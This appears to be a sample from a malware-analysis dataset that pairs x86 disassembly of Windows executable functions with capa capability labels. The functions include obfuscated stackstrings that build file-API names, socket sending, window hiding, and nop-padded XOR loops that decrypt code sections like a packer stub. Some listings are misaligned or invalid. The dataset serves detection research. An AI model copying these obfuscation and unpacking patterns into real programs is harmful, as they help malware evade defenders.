joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030a0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x4c
mov al, 0x45
push ebx
push ebp
mov byte [esp + 0x35], al
mov byte [esp + 0x38], al
push esi
mov esi, dword [sym.imp.kernel32.dll_GetStringTypeW]
lea eax, [esp + 0x20]
push edi
lea ecx, [esp + 0x3c]
mov bl, 0x65
push eax
push ecx
mov dword [esp + 0x18], 0
mov byte [esp + 0x44], 0x4b
mov byte [esp + 0x46], 0x52
mov byte [esp + 0x47], 0x4e
mov byte [esp + 0x49], 0x4c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], 0x72
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x61
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x46
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x34], 0x6c
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], 0
call esi
mov edi, dword [sym.imp.kernel32.dll_GetConsoleNlsMode]
push eax
call edi
mov edx, dword [esp + 0x60]
push 0
push 0
push 3
push 0
push 1
push connect
push edx
call eax
mov ebp, eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x3c]
push eax
push ecx
mov byte [esp + 0x54], 0x53
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], 0x74
mov byte [esp + 0x57], 0x46
mov byte [esp + 0x58], 0x69
mov byte [esp + 0x59], 0x6c
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], 0x50
mov byte [esp + 0x5c], 0x6f
mov byte [esp + 0x5d], 0x69
mov byte [esp + 0x5e], 0x6e
mov byte [esp + 0x5f], 0x74
mov byte [esp + 0x60], bl
mov byte [esp + 0x61], 0x72
mov byte [esp + 0x62], 0
call esi
push eax
call edi
mov dword [esp + 0x60], eax
mov byte [esp + 0x18], 0x52
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x46
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x6c
lea edx, [esp + 0x18]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0
call esi
push eax
call edi
lea ecx, [esp + 0x30]
lea edx, [esp + 0x3c]
push ecx
push edx
mov dword [esp + 0x1c], eax
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x73
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x48
mov byte [esp + 0x3e], 0x61
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x64
mov byte [esp + 0x41], 0x6c
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], 0
call esi
push eax
call edi
cmp ebp, 0xffffffff
mov esi, eax
jne 0x403221
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4c
ret
push 2
push 0
push 0xfffffc00
push ebp
call dword [esp + 0x70]
push 0x400
call sub.mfc42.dll_operatornew
add esp, 4
mov edi, eax
lea eax, [esp + 0x10]
push 0
push eax
push 0x400
push edi
push ebp
call dword [esp + 0x28]
push ebp
call esi
mov ecx, dword [esp + 0x64]
push 0
push 0x400
push ecx
mov ecx, dword [0x4136bc]
push edi
call fcn.00405dc0
cmp eax, 0xffffffff
jne 0x403283
push edi
call sub.mfc42.dll_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret
Function at 0x403350
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x40ee26
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2ec
lea ecx, [esp]
call fcn.00401c70
mov eax, dword [0x411030]
lea ecx, [esp]
push eax
push 0x4135b0
mov dword [esp + 0x2fc], 0
call fcn.00401e80
test al, al
jne 0x403303
lea ecx, [esp]
mov dword [esp + 0x2f4], 0xffffffff
call fcn.004026b0
or eax, 0xffffffff
mov ecx, dword [esp + 0x2ec]
mov dword fs:[0], ecx
add esp, 0x2f8
ret
mov ecx, dword [esp + 0x2fc]
lea edx, [esp]
push ecx
push edx
lea ecx, [esp + 0xc4]
call fcn.00402770
lea ecx, [esp]
mov byte [esp + 0x2f4], 1
call fcn.00401e60
lea ecx, [esp + 0xbc]
mov byte [esp + 0x2f4], 0
call fcn.00402880
lea ecx, [esp]
mov dword [esp + 0x2f4], 0xffffffff
call fcn.004026b0
mov ecx, dword [esp + 0x2ec]
xor eax, eax
mov dword fs:[0], ecx
add esp, 0x2f8
ret

Function at 0x405e43
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push edi
xor eax, eax
mov cl, byte [esi]
mov al, byte [edx]
mov edi, ecx
and edi, 0xff
sub eax, edi
jne 0x405e55
test cl, cl
je 0x405e55
mov cl, byte [esi + 1]
inc edx
inc esi
xor eax, eax
mov al, byte [edx]
mov edi, ecx
and edi, 0xff
sub eax, edi
je 0x405e3c
pop edi
pop esi
test eax, eax
jge 0x405e61
or eax, 0xffffffff
ret 8
jle 0x405e68
mov eax, 1
ret 8
Function at 0x407a26
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40ee56
push eax
mov eax, 0xa084
mov dword fs:[0], esp
call fcn.0040eb70
push str.Eg0LBQ0SRDQCLOztLTQD_QHpg
call fcn.00407050
add esp, 4
push eax
push 0
push 0
call dword [sym.imp.kernel32.dll_ConvertDefaultLocale]
test eax, eax
je 0x407a40
call dword [sym.imp.kernel32.dll_GetCalendarSupportedDateRange]
cmp eax, 0xb7
jne 0x407a40
push 0
call dword [sym.imp.msvcrt.dll_Ordinal_657]
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x14]
call fcn.00401c70
mov ebx, dword [sym.imp.kernel32.dll_GetTimeFormatEx]
mov ebp, dword [sym.imp.kernel32.dll_PeekNamedPipe]
mov dword [esp + 0xa09c], 0
mov byte [esp + 0x13], 0
mov al, byte [esp + 0x13]
test al, al
je 0x407ab0
cmp al, 3
je 0x407ab0
xor edi, edi
lea eax, [esp + 0xd0]
push eax
push 0
push 0x1f0003
call ebx
mov esi, eax
test esi, esi
jne 0x407aa0
push 0xc8
call ebp
inc edi
cmp edi, 0x3e8
jl 0x407a77
jmp 0x407ab0
lea ecx, [esp + 0x14]
call fcn.00402020
push esi
call dword [sym.imp.kernel32.dll_CallNamedPipeA]
push str.Eg0LBQ0SRDQCLOztLTQD_QHpg
call fcn.00407050
push str.vra2tqY
mov dword [0x4136c0], eax
call fcn.00407050
push eax
call dword [sym.imp.msvcrt.dll_Ordinal_645]
mov edi, dword [sym.imp.kernel32.dll_GetFileMUIInfo]
add esp, 0xc
mov dword [0x4136b4], eax
call edi
mov ecx, dword [0x4136b4]
mov edx, dword [0x4136c0]
push ecx
push edx
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.00401e80
test al, al
jne 0x407b07
mov byte [esp + 0x13], 2
jmp 0x407a69
push str.LrQtqY
call edi
sub eax, esi
push eax
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.00407770
mov ecx, dword [0x4136b4]
mov edx, dword [0x4136c0]
add esp, 0x10
lea eax, [esp + 0xd0]
push ecx
push edx
lea ecx, [esp + 0x1c]
push eax
push ecx
lea ecx, [esp + 0x144]
call fcn.004046a0
lea edx, [esp + 0x134]
lea ecx, [esp + 0x14]
push edx
mov byte [esp + 0xa0a0], 1
call fcn.00402160
xor esi, esi
lea ecx, [esp + 0x134]
call fcn.00404d80
test al, al
jne 0x407b7f
push 0x3e8
call ebp
inc esi
cmp esi, 0xa
jl 0x407b62
lea ecx, [esp + 0x134]
call fcn.00404d80
test al, al
jne 0x407ba8
lea ecx, [esp + 0x134]
mov byte [esp + 0xa09c], 0
call fcn.00404720
jmp 0x407a69
call edi
lea eax, [esp + 0xd0]
push eax
push 0
push 0x1f0003
call ebx
mov ecx, dword [esp + 0xc0]
push 0x64
push ecx
mov esi, eax
call dword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
push 0x1f4
mov edi, eax
call ebp
test esi, esi
jne 0x407be0
test edi, edi
jne 0x407baa
jmp 0x407b8f
lea ecx, [esp + 0x14]
call fcn.00402020
push esi
call dword [sym.imp.kernel32.dll_CallNamedPipeA]
lea ecx, [esp + 0x134]
mov byte [esp + 0xa09c], 0
call fcn.00404720
lea ecx, [esp + 0x14]
mov dword [esp + 0xa09c], 0xffffffff
call fcn.004026b0
mov ecx, dword [esp + 0xa094]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0xa090
ret
Function at 0x409140
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0x3c]
push esi
push edi
mov edi, dword [esp + 0x48]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov eax, dword [edi]
push 0x38
lea ecx, [esp + 0xc]
push str.1.1.4
push ecx
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
call fcn.004093f0
add esp, 0xc
test eax, eax
jne 0x409166
lea edx, [esp + 8]
push 4
push edx
call fcn.00409410
mov esi, eax
add esp, 8
cmp esi, 1
je 0x409153
lea eax, [esp + 8]
push eax
call fcn.00409290
add esp, 4
mov eax, 0xfffffffb
test esi, esi
je 0x409166
mov eax, esi
pop edi
pop esi
add esp, 0x38
ret
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 8]
push edx
mov dword [edi], ecx
call fcn.00409290
add esp, 4
pop edi
pop esi
add esp, 0x38
ret

Function at 0x409240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
cmp eax, edx
je 0x40927c
mov ecx, dword [eax + 0x1c]
cmp ecx, edx
je 0x40927c
push esi
mov dword [eax + 0x14], edx
mov dword [eax + 8], edx
mov dword [eax + 0x18], edx
mov esi, dword [ecx + 0xc]
push edx
neg esi
sbb esi, esi
push eax
and esi, 7
mov dword [ecx], esi
mov eax, dword [eax + 0x1c]
mov ecx, dword [eax + 0x14]
push ecx
call fcn.0040ab80
add esp, 0xc
xor eax, eax
pop esi
ret
mov eax, 0xfffffffe
ret
Function at 0x431000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219

Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x7a59013c
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x450e6d63
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
adc byte [ebx], bl
adc dword [edx], edx
adc ebx, dword [ebx]
adc al, 0x15
push ss
inc ebx
sbb byte [ecx], bl
sbb cl, byte [eax - 0x6f6fc270]
nop
nop
nop
nop
cmp al, 0xe4
nop
nop
nop
push ebp
mov ebp, esp
test byte [ebp + 8], 0x8b
or eax, sym.imp.MSVCRT.dll__iob
push eax
add ecx, 0x2c
cmpsb byte [esi], byte es:[edi]
je 0x401735
inc eax
add cl, al
call dword [0x4640c180]
mov eax, dword [0x4102ac]
adc dword [ebp + 0x74c0830c], 0xf
push eax
push str.Total_of__d_requests_completed_n
call dword [sym.imp.MSVCRT.dll_printf]
xor eax, esp
or byte [edi + 0x2a], ch
call dword [sym.imp.MSVCRT.dll_exit]
nop
push ebp
sti
in al, dx
or dword [edx - 0x48], 0xa1000000
ljmp 0xa1c0

Function at 0x40a1e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp - 0x49]
push 0xffffffffffffff85
mov ch, pe_nt_image_headers32
jo 0x40a252
jmp dword [ecx]
add byte [eax], al
test al, cl
je 0x40a221
mov eax, dword [esi]
push 0
push 1
push 0
push 0
mov dword [eax + 4], 0xce16de
call dword [sym.imp.KERNEL32.dll_CreateEventA]
add al, 0xde
push ss
into
add bh, bh
adc eax, sym.imp.KERNEL32.dll_CreateEventA
mov ecx, dword [esi]
mov dword [ecx + 0x27], eax
jmp 0x40a257
cmp dword [0x8108dc], 0x14
jl 0x40a241
mov edx, dword [esi]
rcl dword [eax], cl
or al, 0x52
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
pop esp
push es
mov dword [eax + 4], 0x76000000
jmp 0x40a20f
mov ecx, dword [esi]
push 0
push 0xffffffffffffff93
push 0x46
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [esi]
mov dword [edx + 8], eax
mov esi, dword [esi]
push 0x405720
push 0x40a280
push esi
mov eax, dword [esi]
push eax
jo 0x40a1fd
mov bl, 0xff
dec eax
adc ebx, esp
invalid
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x162676a5
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1be75ac8
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x60d64113
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x129f71cb
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x438c93
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x438a14
inc ebx
call fcn.00438cb2
or eax, eax
xor dword [esi], ecx
add ebx, eax
inc esi
dec ebx
cmp esi, edi
jne fcn.00438c93
add ebx, 0x710f3713
ret
Function at 0x402077
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x98
mov eax, dword [0x42f180]
xor eax, ebp
mov dword [ebp + 0x70], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
mov dword [ebp - 0x20], eax
call fcn.004240fc
pop ecx
pop ecx
push ebx
push 0x80000080
push 2
push ebx
push 1
push 0xc0000000
push eax
mov dword [ebp - 0x24], eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, dword [sym.imp.kernel32.dll_GetStdHandle]
push 0xfffffffffffffff5
mov dword [ebp - 0x14], eax
call esi
push 0xfffffffffffffff4
mov dword [ebp - 0x1c], eax
call esi
push dword [ebp - 0x14]
mov esi, dword [sym.imp.kernel32.dll_SetStdHandle]
push 0xfffffffffffffff5
mov dword [ebp - 0x18], eax
call esi
push dword [ebp - 0x14]
push 0xfffffffffffffff4
call esi
mov ecx, 0x431440
call fcn.00401a9d
mov edi, eax
cmp edi, ebx
jne 0x40211f
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea eax, [ebp - 0x10]
push str.Cant_load_Python_for_pre_install_script___d_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x10]
push eax
call fcn.00401654
add esp, 0x10
or eax, 0xffffffff
jmp 0x4021f7
push dword [ebp - 0x20]
call fcn.004179b4
pop ecx
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
push dword [ebp - 0x1c]
push 0xfffffffffffffff5
call esi
push dword [ebp - 0x18]
push 0xfffffffffffffff4
call esi
cmp dword [ebp - 0x20], ebx
je 0x4021e2
mov eax, str.Running_the_pre_installation_script_failed_r_n
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402151
push ebx
push dword [ebp - 0x14]
sub eax, edx
mov edi, eax
call dword [sym.imp.kernel32.dll_GetFileSize]
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
jne 0x402175
mov dword [ebp - 0x18], 0x1000
mov eax, dword [ebp - 0x18]
lea eax, [eax + edi + 1]
push eax
call fcn.004179b4
mov esi, eax
pop ecx
cmp esi, ebx
je 0x4021d7
mov eax, str.Running_the_pre_installation_script_failed_r_n
mov edx, esi
mov dword [ebp - 0x1c], ebx
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x402195
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x18]
lea eax, [esi + edi]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_ReadFile]
mov eax, dword [ebp - 0x1c]
add eax, esi
push esi
mov byte [eax + edi], bl
call fcn.00401654
push esi
call fcn.00407f30
pop ecx
jmp 0x4021e1
push str.Out_of_memory_
call fcn.00401654
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [ebp - 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0x70]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407875
add ebp, 0x74
leave
ret
Function at 0x4024ca
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x42f180]
xor eax, ebp
mov dword [ebp + 0x90], eax
mov eax, dword [ebp + 0x9c]
mov dword [ebp - 0x78], ecx
lea ecx, [edx + eax - 0x16]
sub eax, dword [ecx + 0x10]
push esi
sub eax, dword [ecx + 0xc]
push edi
mov edi, dword [ebp + 0xa0]
sub eax, 0x22
lea esi, [edx + eax]
xor edx, edx
mov dword [edi], edx
mov dword [ebx], edx
cmp dword [ecx], 0x6054b50
mov dword [ebp - 0x80], edi
jne 0x40260f
cmp dword [esi], 0x1234567b
je 0x402534
push edx
mov edi, str.Invalid_cfgdata_magic_number__see_bdist_wininst.py_
call fcn.004179b4
pop ecx
jmp 0x402611
cmp eax, edx
jl 0x40260f
mov ecx, dword [esi + 8]
cmp ecx, edx
je 0x402550
mov edx, esi
sub edx, dword [esi + 4]
sub edx, ecx
mov dword [0x431560], edx
sub eax, dword [esi + 4]
mov ecx, dword [ebp - 0x78]
sub eax, dword [esi + 8]
mov edi, esi
mov dword [ecx], eax
sub edi, dword [esi + 4]
push 0x104
call fcn.004179b4
pop ecx
mov dword [ebp - 0x7c], eax
test eax, eax
je 0x40260f
lea eax, [ebp - 0x74]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x4025fd
push dword [ebp - 0x7c]
lea eax, [ebp - 0x74]
push 0
push 0x4259a8
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
test eax, eax
je 0x4025fd
xor eax, eax
push eax
push eax
push eax
push dword [esi + 4]
push eax
push dword [ebp - 0x7c]
push 2
call fcn.004179b4
add esp, 0x1c
mov dword [ebp - 0x78], eax
test eax, eax
je 0x40260f
push dword [esi + 4]
push edi
push eax
call fcn.00408be0
mov eax, dword [ebp - 0x78]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4025d1
sub eax, esi
lea eax, [eax + edi + 1]
push eax
call fcn.004179b4
pop ecx
mov ecx, dword [ebp - 0x80]
push dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebx], eax
call dword [sym.imp.kernel32.dll_UnmapViewOfFile]
xor eax, eax
inc eax
jmp 0x402611
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
mov edi, str.Could_not_create_temporary_file
call fcn.004179b4
pop ecx
xor eax, eax
mov ecx, dword [ebp + 0x90]
pop edi
xor ecx, ebp
pop esi
call fcn.00407875
add ebp, 0x94
leave
ret
Function at 0x4029b0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x42f180]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [ebp + 0x98]
push ebx
lea ecx, [ebp - 0x68]
push ecx
push 0x20019
xor ebx, ebx
push ebx
mov dword [ebp - 0x74], eax
mov eax, dword [ebp + 0x9c]
push str.SoftwarePythonPythonCore
push eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402a04
xor eax, eax
jmp 0x402b41
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0x3c]
push eax
push ebx
push dword [ebp - 0x68]
mov dword [ebp - 0x70], 0x50
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x402b35
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [ebp + 0xa0]
inc dword [ebp - 0x6c]
mov dword [ebp - 0x70], 0x50
cmp esi, ebx
je 0x402a77
cmp byte [esi], bl
je 0x402a77
lea eax, [ebp + 0x3c]
mov cl, byte [esi]
cmp cl, byte [eax]
jne 0x402a6a
cmp cl, bl
je 0x402a66
mov cl, byte [esi + 1]
cmp cl, byte [eax + 1]
jne 0x402a6a
inc esi
inc esi
inc eax
inc eax
cmp cl, bl
jne 0x402a4c
xor eax, eax
jmp 0x402a6f
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402b13
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp + 0x3c]
push eax
lea eax, [ebp - 0x14]
push str.Python_Version__s__found_in_registry_
push eax
call esi
lea eax, [ebp + 0x3c]
push eax
lea eax, [ebp - 0x64]
push str.SoftwarePythonPythonCore_sInstallPath
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x78]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402b13
push 0x10c
call fcn.004179b4
mov esi, eax
pop ecx
mov dword [ebp - 0x80], 0x105
cmp esi, ebx
je 0x402b0a
lea eax, [ebp - 0x80]
push eax
push esi
push ebx
push ebx
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402b0a
lea eax, [ebp - 0x14]
push eax
push ebx
push 0x180
push dword [ebp - 0x74]
call edi
mov ecx, dword [ebp - 0x7c]
push esi
push eax
push 0x19a
push dword [ebp - 0x74]
mov dword [esi + 0x108], ecx
call edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0x3c]
push eax
push dword [ebp - 0x6c]
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x402a31
pop edi
pop esi
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
pop ebx
call fcn.00407875
add ebp, 0x90
leave
ret